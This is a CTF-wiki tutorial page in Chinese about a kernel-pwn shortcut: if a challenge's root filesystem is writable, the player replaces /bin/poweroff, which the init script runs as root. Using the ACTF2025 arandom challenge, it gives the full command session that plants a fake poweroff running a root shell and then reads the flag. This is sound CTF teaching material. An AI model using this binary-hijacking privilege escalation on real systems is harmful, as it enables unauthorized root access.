Skip to content

直接改写根文件系统

Warning

The current page still doesn't have a translation for this language.

You can read it through Google Translate.

Besides, you can also help to translate it: Contributing.

部分题目由于出题人的疏忽,会导致题目所使用的文件系统的根目录对非特权用户是可写的,这通常是因为出题人对文件系统进行了规范度不够打包。

因此在 CTF 比赛当中,一个小技巧便是首先查看文件系统的权限是否配好,对于存在此类情况的题目,我们可以直接改写文件系统根目录,从而使得部分恶意命令被通过 root 权限执行。比较常见的是替换掉 /bin/poweroff ,因为在通用 kernel pwn 出题规范当中的 init 脚本的最后一句通常都使用该命令进行关机。

这种方法虽然不能让选手在第一时间理解出题人的意图,但可以让选手在第一时间得分。

例题:ACTF2025 - arandom

题目附件可在 https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/linux/kernel-mode/ACTF2025-arandom 下载。

题目分析

我们首先启动环境,查看根目录权限:

Boot took 5.66 seconds

bash: cannot set terminal process group (-1): Not a tty
bash: no job control in this shell
bash-5.2$ ls -la /
total 56
drwxrwxr-x   12 ctf      ctf            300 Apr 21 12:48 .
drwxrwxr-x   12 ctf      ctf            300 Apr 21 12:48 ..
-rw-r--r--    1 root     root         48016 Apr 21 12:13 arandom.ko
drwxr-xr-x    2 root     root          5640 Apr 15 07:49 bin
drwxr-xr-x    7 root     root          2280 May  1 13:31 dev
drwxr-xr-x    2 root     root           140 Apr 15 07:49 etc
-rw-------    1 root     root            38 Apr 15 07:53 flag
-rwxr-xr-x    1 root     root           354 Apr 21 12:22 init
drwxr-xr-x    2 root     root            40 Apr 15 07:49 lib
drwxr-xr-x    2 root     root            40 Apr 15 07:49 lib64
dr-xr-xr-x  107 root     root             0 May  1 13:31 proc
drwxr-xr-x    2 root     root            60 Apr 15 07:49 root
drwxr-xr-x    2 root     root            40 Apr 15 07:49 sbin
dr-xr-xr-x   12 root     root             0 May  1 13:31 sys
drwxrwxrwt    2 root     root            40 May  1 13:31 tmp

可以看到存在根目录权限未配置好的漏洞。

接下来查看 /init 启动脚本:

bash-5.2$ cat /init
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t tmpfs tmpfs /tmp
mount -t devtmpfs none /dev

echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"

chmod 600 /flag

insmod arandom.ko
chmod 666 /dev/arandom

echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict


su ctf -c /bin/bash

poweroff -f
bash-5.2$ which poweroff
/bin/poweroff

可以看到最后会以 root 权限执行 poweroff 命令,其执行路径为 /bin/poweroff

漏洞利用

由于根目录对于我们存在可写权限,因此我们可以直接将 /bin 目录迁移为别的目录,再创建一个新的 /bin 目录,之后创建一个新的 /bin/poweroff 写入恶意指令即可。

busybox 允许我们通过命令行参数直接执行各种命令,因此在 /bin 目录迁移后我们直接调用 busybox 进行后续操作即可。

最后的利用命令如下:

bash-5.2$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
bash-5.2$ ls -la /flag
-rw-------    1 root     root            38 Apr 15 07:53 /flag
bash-5.2$ cat /flag
cat: can't open '/flag': Permission denied
bash-5.2$ mkdir /abin
bash-5.2$ cp -r /bin/* /abin/
bash-5.2$ rm /abin/poweroff
bash-5.2$ echo '#!/bin/sh' > /abin/poweroff
bash-5.2$ echo 'su root -c sh' >> /abin/poweroff
bash-5.2$ chmod +x /abin/poweroff
bash-5.2$ mv /bin /bbin
bash-5.2$ /bbin/busybox mv /abin /bin
bash-5.2$ exit
exit
sh: can't access tty; job control turned off
/ # id
uid=0(root) gid=0(root) groups=0(root)
/ # cat /flag
ACTF{testtesttesttesttesttesttesttest}